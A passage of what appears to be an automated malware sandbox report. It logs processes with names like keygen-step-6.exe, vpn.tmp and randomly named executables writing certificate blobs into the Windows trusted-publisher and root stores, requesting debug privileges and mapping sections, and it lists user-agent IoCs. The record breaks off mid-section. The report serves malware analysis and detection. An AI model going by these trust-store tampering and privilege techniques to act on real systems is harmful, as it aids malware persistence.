0567810c0103307e06082b0601050507010104723070302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d304806082b06010505073002863c687474703a2f2f636163657274732e64696769636572742e636f6d2f44696769436572744556436f64655369676e696e6743412d534841322e637274300c0603551d130101ff04023000300d06092a864886f70d01010b050003820101006c24a9a7e30a7db2301b344f60cd1b1daf32fce4207ff625bd635f062f8a65301a7d66fade8ba809d0863421631692ef527119eaed4d1f012a98606727c8682aaf1099ca03ab9e996184f4186bce0ca7739c9e6e7144972012ac6eb4ac7db2122b244546f09647fa477a0613401f42e72f4a56fd687d946c4a41e1d1238fe8959e0b6e0cb692e92d96ccc7bde669843c60a374d001608328688790f65ababb20c78c59dad5b32bd79d67c60341c754eae510e08f897e6190c3af2d171261bcea2905545682ace869cd7cc3e66e635dd4f6420dcdc0909b780456523f685aec28b7a5585fae78f36ae3b84d0690f5ee0aa522245546508b2fadb6975f6082d11f srlT0HOPwYSugJmNsy5n.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\CBC64D0FC770B1694DF723BB18B5679CE09B61CA\Blob = 030000000100000014000000cbc64d0fc770b1694df723bb18b5679ce09b61ca20000000010000000c06000030820608308204f0a00302010202100ebd24bdfbd4adddd2edd27e8fb1953c300d06092a864886f70d01010b0500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b302906035504031322446967694365727420455620436f6465205369676e696e6720434120285348413229301e170d3136303230393030303030305a170d3139303231333132303030305a3082011d311d301b060355040f0c1450726976617465204f7267616e697a6174696f6e31133011060b2b0601040182373c0201031302555331193017060b2b0601040182373c020102130844656c61776172653110300e06035504051307333736313235363129302706035504091320353938302053746f6e6572696467652044726976652c20537569746520313033310e300c060355041113053934353838310b3009060355040613025553311330110603550408130a43616c69666f726e6961311330110603550407130a506c656173616e746f6e31233021060355040a131a4f70656e56504e20546563686e6f6c6f676965732c20496e632e312330210603550403131a4f70656e56504e20546563686e6f6c6f676965732c20496e632e30820122300d06092a864886f70d01010105000382010f003082010a0282010100dbfa60e717145ef04d047ef2824532ee8a363d6b8fda58b639832f07eccba53b0446715d150e886195607af12d04e77a0f90bca14e70a782603b0ee5b9dca6cf43d5befb9887c54a3a507a82c7dd4a3fec3aed83171ff020b0c1ca50b87751a597b13454a31bd07796eea97ee55631a43d92cbc7275dfc6da478de5f3c8e2c3431db592d2410de2e789465cf73498df4e042aaa085855603e5165b84e25f27c6d29f77a1cc7bf2875da81395715c662b0333b025b37fcac7bd2f3b50a497613d972182c25e796e0dc453264c6e5340bd4962d5d3d37db06dfc03efb0ba8215b9ef2ef52c15d369db3a732259d286a9aa761ccafff0558c8efdab678d785cfe370203010001a38201f1308201ed301f0603551d230418301680148fe87ef06d326a000523c770976a3a90ff6bead4301d0603551d0e041604149bb182bc8ec73483e7d3569d57448488d1803437302e0603551d1104273025a02306082b06010505070803a01730150c1355532d44454c41574152452d33373631323536300e0603551d0f0101ff04040302078030130603551d25040c300a06082b06010505070303307b0603551d1f047430723037a035a0338631687474703a2f2f63726c332e64696769636572742e636f6d2f4556436f64655369676e696e67534841322d67312e63726c3037a035a0338631687474703a2f2f63726c342e64696769636572742e636f6d2f4556436f64655369676e696e67534841322d67312e63726c304b0603551d2004443042303706096086480186fd6c0302302a302806082b06010505070201161c68747470733a2f2f7777772e64696769636572742e636f6d2f4350533007060567810c0103307e06082b0601050507010104723070302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d304806082b06010505073002863c687474703a2f2f636163657274732e64696769636572742e636f6d2f44696769436572744556436f64655369676e696e6743412d534841322e637274300c0603551d130101ff04023000300d06092a864886f70d01010b050003820101006c24a9a7e30a7db2301b344f60cd1b1daf32fce4207ff625bd635f062f8a65301a7d66fade8ba809d0863421631692ef527119eaed4d1f012a98606727c8682aaf1099ca03ab9e996184f4186bce0ca7739c9e6e7144972012ac6eb4ac7db2122b244546f09647fa477a0613401f42e72f4a56fd687d946c4a41e1d1238fe8959e0b6e0cb692e92d96ccc7bde669843c60a374d001608328688790f65ababb20c78c59dad5b32bd79d67c60341c754eae510e08f897e6190c3af2d171261bcea2905545682ace869cd7cc3e66e635dd4f6420dcdc0909b780456523f685aec28b7a5585fae78f36ae3b84d0690f5ee0aa522245546508b2fadb6975f6082d11f vpn.tmp Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 0f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703086200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c14000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f0b00000001000000120000004400690067006900430065007200740000001d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d432000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2 tapinstall.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\5E66E0CA2367757E800E65B770629026E131A7DC vpn.tmp Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 190000000100000010000000749966cecc95c1874194ca7203f9b6200f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703086200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c14000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f0b00000001000000120000004400690067006900430065007200740000001d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d4304000000010000001000000087ce0b7b2a0e4900e158719b37a893722000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2 tapinstall.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\CBC64D0FC770B1694DF723BB18B5679CE09B61CA vpn.tmp Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\CBC64D0FC770B1694DF723BB18B5679CE09B61CA srlT0HOPwYSugJmNsy5n.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\5E66E0CA2367757E800E65B770629026E131A7DC srlT0HOPwYSugJmNsy5n.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c000000010000000400000000080000040000000100000010000000497904b0eb8719ac47b0bc11519b74d00f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e keygen-step-6.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\5E66E0CA2367757E800E65B770629026E131A7DC\Blob = 0300000001000000140000005e66e0ca2367757e800e65b770629026e131a7dc2000000001000000ba060000308206b63082059ea003020102021004d54dc0a2016b263eeeb255d321056e300d06092a864886f70d0101050500306f310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312e302c060355040313254469676943657274204173737572656420494420436f6465205369676e696e672043412d31301e170d3133303831333030303030305a170d3136303930323132303030305a308181310b3009060355040613025553311330110603550408130a43616c69666f726e6961311330110603550407130a506c656173616e746f6e31233021060355040a131a4f70656e56504e20546563686e6f6c6f676965732c20496e632e312330210603550403131a4f70656e56504e20546563686e6f6c6f676965732c20496e632e30820122300d06092a864886f70d01010105000382010f003082010a0282010100a10462099150b2575bc037614701c292ba96e98270fdb06e1d1f40343e720e259d6f9fdf59bcb9365f8cea69689aed7a4354591db75509826ad71ab3f00cb18ed11157effc5eb3bf5730b33b5ba76fd73f3fd7f1b2256410223a7f8f5f52b6fb8b31a979cc50f831880fc837c81168e74dd4f57368ef55a1dbe480a815128e0d944d4d70be02ed65efe486a020f50dfdfe6d2a0dfab3ff9885fdb1bc39b79bb0a38183e42d557a60da66883c3307c208655da1a43eeb2393ea10b200f55ddfd66da47eae911eebe43113c7aafdf8e13d2fef2604eac2e3739021816b323dc9ef0f8411a1a7921023ff3cd7f1f4d4307f6ad13816d47b93823c9683069315088d0203010001a382033930820335301f0603551d230418301680147b68ce29aac017be497ae1e53fd6a7f7458f3532301d0603551d0e041604149afe50cc7c723e76b49c036a97a88c8135cb6651300e0603551d0f0101ff04040302078030130603551d25040c300a06082b0601050507030330730603551d1f046c306a3033a031a02f862d687474703a2f2f63726c332e64696769636572742e636f6d2f617373757265642d63732d32303131612e63726c3033a031a02f862d687474703a2f2f63726c342e64696769636572742e636f6d2f617373757265642d63732d32303131612e63726c308201c40603551d20048201bb308201b7308201b306096086480186fd6c0301308201a4303a06082b06010505070201162e687474703a2f2f7777772e64696769636572742e636f6d2f73736c2d6370732d7265706f7369746f72792e68746d3082016406082b06010505070202308201561e8201520041006e007900200075007300650020006f00660020007400680069007300200043006500720074006900660069006300610074006500200063006f006e0073007400690074007500740065007300200061006300630065007000740061006e006300650020006f00660020007400680065002000440069006700690043006500720074002000430050002f00430050005300200061006e00640020007400680065002000520065006c00790069006e0067002000500061007200740079002000410067007200650065006d0065006e00740020007700680069006300680020006c0069006d006900740020006c0069006100620069006c00690074007900200061006e0064002000610072006500200069006e0063006f00720070006f00720061007400650064002000680065007200650069006e0020006200790020007200650066006500720065006e00630065002e30818206082b0601050507010104763074302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d304c06082b060105050730028640687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274417373757265644944436f64655369676e696e6743412d312e637274300c0603551d130101ff04023000300d06092a864886f70d0101050500038201010035d3e402ab7e93e4c84f74475c2403fbaf99335beb29aef76c0cbadf9eed476e26ae26aa5e87bb55e851926d2db986d674efd71abe7ecdc4b57c98d65b862725bd09e466949c3cf68cb40631d734ee948e4a7e5c849edf9757530a17e85c91e3dbc61e31a5d30b7250e83316c23728cc3fc0c721f61780a9f8542b575131652426be91885d9756313eff308755b60ccf6ade5f7bd7e32690a51c0b470a3bfe9dbedad74b535349ff469baa3e4d741d7db011501f80afdc4138a345c36e78710681be9d5b2bd45620bfaddf8e4ebd58e0820296f5c40c06fc48db187ff49fcaf489866fdae7c4d7224e3548bac384a5e7b59175c8fd6a667fa6ee3838802ce9be vpn.tmp -
Runs ping.exe 1 TTPs 2 IoCs
-
Script User-Agent 3 IoCs
Uses user-agent string associated with script host/environment.
Processes:
description flow ioc HTTP User-Agent header 285 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 196 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 202 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
CrowdInspect64.exepid process 916 CrowdInspect64.exe 916 CrowdInspect64.exe 916 CrowdInspect64.exe 916 CrowdInspect64.exe 916 CrowdInspect64.exe 916 CrowdInspect64.exe 916 CrowdInspect64.exe 916 CrowdInspect64.exe 916 CrowdInspect64.exe 916 CrowdInspect64.exe 916 CrowdInspect64.exe 916 CrowdInspect64.exe 916 CrowdInspect64.exe 916 CrowdInspect64.exe 916 CrowdInspect64.exe 916 CrowdInspect64.exe 916 CrowdInspect64.exe 916 CrowdInspect64.exe 916 CrowdInspect64.exe 916 CrowdInspect64.exe 916 CrowdInspect64.exe 916 CrowdInspect64.exe 916 CrowdInspect64.exe 916 CrowdInspect64.exe 916 CrowdInspect64.exe 916 CrowdInspect64.exe 916 CrowdInspect64.exe 916 CrowdInspect64.exe 916 CrowdInspect64.exe 916 CrowdInspect64.exe 916 CrowdInspect64.exe 916 CrowdInspect64.exe 916 CrowdInspect64.exe 916 CrowdInspect64.exe 916 CrowdInspect64.exe 916 CrowdInspect64.exe 916 CrowdInspect64.exe 916 CrowdInspect64.exe 916 CrowdInspect64.exe 916 CrowdInspect64.exe 916 CrowdInspect64.exe 916 CrowdInspect64.exe 916 CrowdInspect64.exe 916 CrowdInspect64.exe 916 CrowdInspect64.exe 916 CrowdInspect64.exe 916 CrowdInspect64.exe 916 CrowdInspect64.exe 916 CrowdInspect64.exe 916 CrowdInspect64.exe 916 CrowdInspect64.exe 916 CrowdInspect64.exe 916 CrowdInspect64.exe 916 CrowdInspect64.exe 916 CrowdInspect64.exe 916 CrowdInspect64.exe 916 CrowdInspect64.exe 916 CrowdInspect64.exe 916 CrowdInspect64.exe 916 CrowdInspect64.exe 916 CrowdInspect64.exe 916 CrowdInspect64.exe 916 CrowdInspect64.exe 916 CrowdInspect64.exe -
Suspicious behavior: GetForegroundWindowSpam 2 IoCs
Processes:
CrowdInspect64.exeExplorer.EXEpid process 916 CrowdInspect64.exe 2960 Explorer.EXE -
Suspicious behavior: MapViewOfSection 11 IoCs
Processes:
Wed09b2a8bc4f16cb.exe9t_XgksU4Dzwi6egFQDvx1fp.exehAsi4SkWff9wB27krZcQwiFM.exeraserver.exe6C84.exeD2B2.execmd.exeAltrove.exe.compid process 4512 Wed09b2a8bc4f16cb.exe 5052 9t_XgksU4Dzwi6egFQDvx1fp.exe 5052 9t_XgksU4Dzwi6egFQDvx1fp.exe 5052 9t_XgksU4Dzwi6egFQDvx1fp.exe 7976 hAsi4SkWff9wB27krZcQwiFM.exe 7512 raserver.exe 7512 raserver.exe 4948 6C84.exe 6164 D2B2.exe 1048 cmd.exe 3564 Altrove.exe.com -
Suspicious behavior: SetClipboardViewer 1 IoCs
Processes:
1535412.exepid process 5876 1535412.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
CrowdInspect64.exedescription pid process Token: SeDebugPrivilege 916 CrowdInspect64.exe Token: SeDebugPrivilege 916 CrowdInspect64.exe Token: SeDebugPrivilege 916 CrowdInspect64.exe Token: SeDebugPrivilege 916 CrowdInspect64.exe Token: SeDebugPrivilege 916 CrowdInspect64.exe Token: SeDebugPrivilege 916 CrowdInspect64.exe Token: SeDebugPrivilege 916 CrowdInspect64.exe Token: SeDebugPrivilege 916 CrowdInspect64.exe Token: SeDebugPrivilege 916 CrowdInspect64.exe Token: SeDebugPrivilege 916 CrowdInspect64.exe Token: SeDebugPrivilege 916 CrowdInspect64.exe Token: SeDebugPrivilege 916 CrowdInspect64.exe Token: SeDebugPrivilege 916 CrowdInspect64.exe Token: SeDebugPrivilege 916 CrowdInspect64.exe Token: SeDebugPrivilege 916 CrowdInspect64.exe Token: SeDebugPrivilege 916 CrowdInspect64.exe Token: SeDebugPrivilege 916 CrowdInspect64.exe Token: SeDebugPrivilege 916 CrowdInspect64.exe Token: SeDebugPrivilege 916 CrowdInspect64.exe Token: SeDebugPrivilege 916 CrowdInspect64.exe Token: SeDebugPrivilege 916 CrowdInspect64.exe Token: SeDebugPrivilege 916 CrowdInspect64.exe Token: SeDebugPrivilege 916 CrowdInspect64.exe Token: SeDebugPrivilege 916 CrowdInspect64.exe Token: SeDebugPrivilege 916 CrowdInspect64.exe Token: SeDebugPrivilege 916 CrowdInspect64.exe Token: SeDebugPrivilege 916 CrowdInspect64.exe Token: SeDebugPrivilege 916 CrowdInspect64.exe Token: SeDebugPrivilege 916 CrowdInspect64.exe Token: SeDebugPrivilege 916 CrowdInspect64.exe Token: SeDebugPrivilege 916 CrowdInspect64.exe Token: SeDebugPrivilege 916 CrowdInspect64.exe Token: SeDebugPrivilege 916 CrowdInspect64.exe Token: SeDebugPrivilege 916 CrowdInspect64.exe Token: SeDebugPrivilege 916 CrowdInspect64.exe Token: SeDebugPrivilege 916 CrowdInspect64.exe Token: SeDebugPrivilege 916 CrowdInspect64.exe Token: SeDebugPrivilege 916 CrowdInspect64.exe Token: SeDebugPrivilege 916 CrowdInspect64.exe Token: SeDebugPrivilege 916 CrowdInspect64.exe Token: SeDebugPrivilege 916 CrowdInspect64.exe Token: SeDebugPrivilege 916 CrowdInspect64.exe Token: SeDebugPrivilege 916 CrowdInspect64.exe Token: SeDebugPrivilege 916 CrowdInspect64.exe Token: SeDebugPrivilege 916 CrowdInspect64.exe Token: SeDebugPrivilege 916 CrowdInspect64.exe Token: SeDebugPrivilege 916 CrowdInspect64.exe Token: SeDebugPrivilege 916 CrowdInspect64.exe Token: SeDebugPrivilege 916 CrowdInspect64.exe Token: SeDebugPrivilege 916 CrowdInspect64.exe Token: SeDebugPrivilege 916 CrowdInspect64.exe Token: SeDebugPrivilege 916 CrowdInspect64.exe Token: SeDebugPrivilege 916 CrowdInspect64.exe Token: SeDebugPrivilege 916 CrowdInspect64.exe Token: SeDebugPrivilege 916 CrowdInspect64.exe Token: SeDebugPrivilege 916 CrowdInspect64.exe Token: SeDebugPrivilege 916 CrowdInspect64.exe Token: SeDebugPrivilege 916 CrowdInspect64.exe Token: SeDebugPrivilege 916 CrowdInspect64.exe Token: SeDebugPrivilege 916 CrowdInspect64.exe Token: SeDebugPrivilege 916 CrowdInspect64.exe Token: SeDebugPrivilege 916 CrowdInspect64.exe Token: SeDebugPrivilege 916 CrowdInspect64.exe Token: SeDebugPrivilege 916 CrowdInspect64.exe -
Suspicious use of FindShellTrayWindow 64 IoCs
Processes:
Software-update-patc_649073113.tmpWed09e95ff6b5.exe7tSafS6VO7T7Bj0IzX23mNZA.exeWed09d27135e5a8b3b.tmpExplorer.EXEsrlT0HOPwYSugJmNsy5n.exevpn.tmppid process 1680 Software-update-patc_649073113.tmp 2140 Wed09e95ff6b5.exe 2140 Wed09e95ff6b5.exe 2140 Wed09e95ff6b5.exe 2140 Wed09e95ff6b5.exe 2140 Wed09e95ff6b5.exe 2140 Wed09e95ff6b5.exe 2140 Wed09e95ff6b5.exe 2140 Wed09e95ff6b5.exe 2140 Wed09e95ff6b5.exe 2140 Wed09e95ff6b5.exe 3080 7tSafS6VO7T7Bj0IzX23mNZA.exe 3080 7tSafS6VO7T7Bj0IzX23mNZA.exe 3080 7tSafS6VO7T7Bj0IzX23mNZA.exe 3080 7tSafS6VO7T7Bj0IzX23mNZA.exe 3080 7tSafS6VO7T7Bj0IzX23mNZA.exe 3080 7tSafS6VO7T7Bj0IzX23mNZA.exe 5032 Wed09d27135e5a8b3b.tmp 3080 7tSafS6VO7T7Bj0IzX23mNZA.exe 3080 7tSafS6VO7T7Bj0IzX23mNZA.exe 3080 7tSafS6VO7T7Bj0IzX23mNZA.exe 3080 7tSafS6VO7T7Bj0IzX23mNZA.exe 3080 7tSafS6VO7T7Bj0IzX23mNZA.exe 3080 7tSafS6VO7T7Bj0IzX23mNZA.exe 3080 7tSafS6VO7T7Bj0IzX23mNZA.exe 3080 7tSafS6VO7T7Bj0IzX23mNZA.exe 3080 7tSafS6VO7T7Bj0IzX23mNZA.exe 3080 7tSafS6VO7T7Bj0IzX23mNZA.exe 3080 7tSafS6VO7T7Bj0IzX23mNZA.exe 3080 7tSafS6VO7T7Bj0IzX23mNZA.exe 3080 7tSafS6VO7T7Bj0IzX23mNZA.exe 3080 7tSafS6VO7T7Bj0IzX23mNZA.exe 3080 7tSafS6VO7T7Bj0IzX23mNZA.exe 3080 7tSafS6VO7T7Bj0IzX23mNZA.exe 3080 7tSafS6VO7T7Bj0IzX23mNZA.exe 3080 7tSafS6VO7T7Bj0IzX23mNZA.exe 3080 7tSafS6VO7T7Bj0IzX23mNZA.exe 3080 7tSafS6VO7T7Bj0IzX23mNZA.exe 3080 7tSafS6VO7T7Bj0IzX23mNZA.exe 3080 7tSafS6VO7T7Bj0IzX23mNZA.exe 3080 7tSafS6VO7T7Bj0IzX23mNZA.exe 3080 7tSafS6VO7T7Bj0IzX23mNZA.exe 3080 7tSafS6VO7T7Bj0IzX23mNZA.exe 3080 7tSafS6VO7T7Bj0IzX23mNZA.exe 3080 7tSafS6VO7T7Bj0IzX23mNZA.exe 3080 7tSafS6VO7T7Bj0IzX23mNZA.exe 3080 7tSafS6VO7T7Bj0IzX23mNZA.exe 3080 7tSafS6VO7T7Bj0IzX23mNZA.exe 3080 7tSafS6VO7T7Bj0IzX23mNZA.exe 3080 7tSafS6VO7T7Bj0IzX23mNZA.exe 3080 7tSafS6VO7T7Bj0IzX23mNZA.exe 3080 7tSafS6VO7T7Bj0IzX23mNZA.exe 3080 7tSafS6VO7T7Bj0IzX23mNZA.exe 3080 7tSafS6VO7T7Bj0IzX23mNZA.exe 3080 7tSafS6VO7T7Bj0IzX23mNZA.exe 3080 7tSafS6VO7T7Bj0IzX23mNZA.exe 2960 Explorer.EXE 2960 Explorer.EXE 6636 srlT0HOPwYSugJmNsy5n.exe 4812 vpn.tmp 4812 vpn.tmp 4812 vpn.tmp 4812 vpn.tmp 4812 vpn.tmp -
Suspicious use of SendNotifyMessage 64 IoCs
Processes:
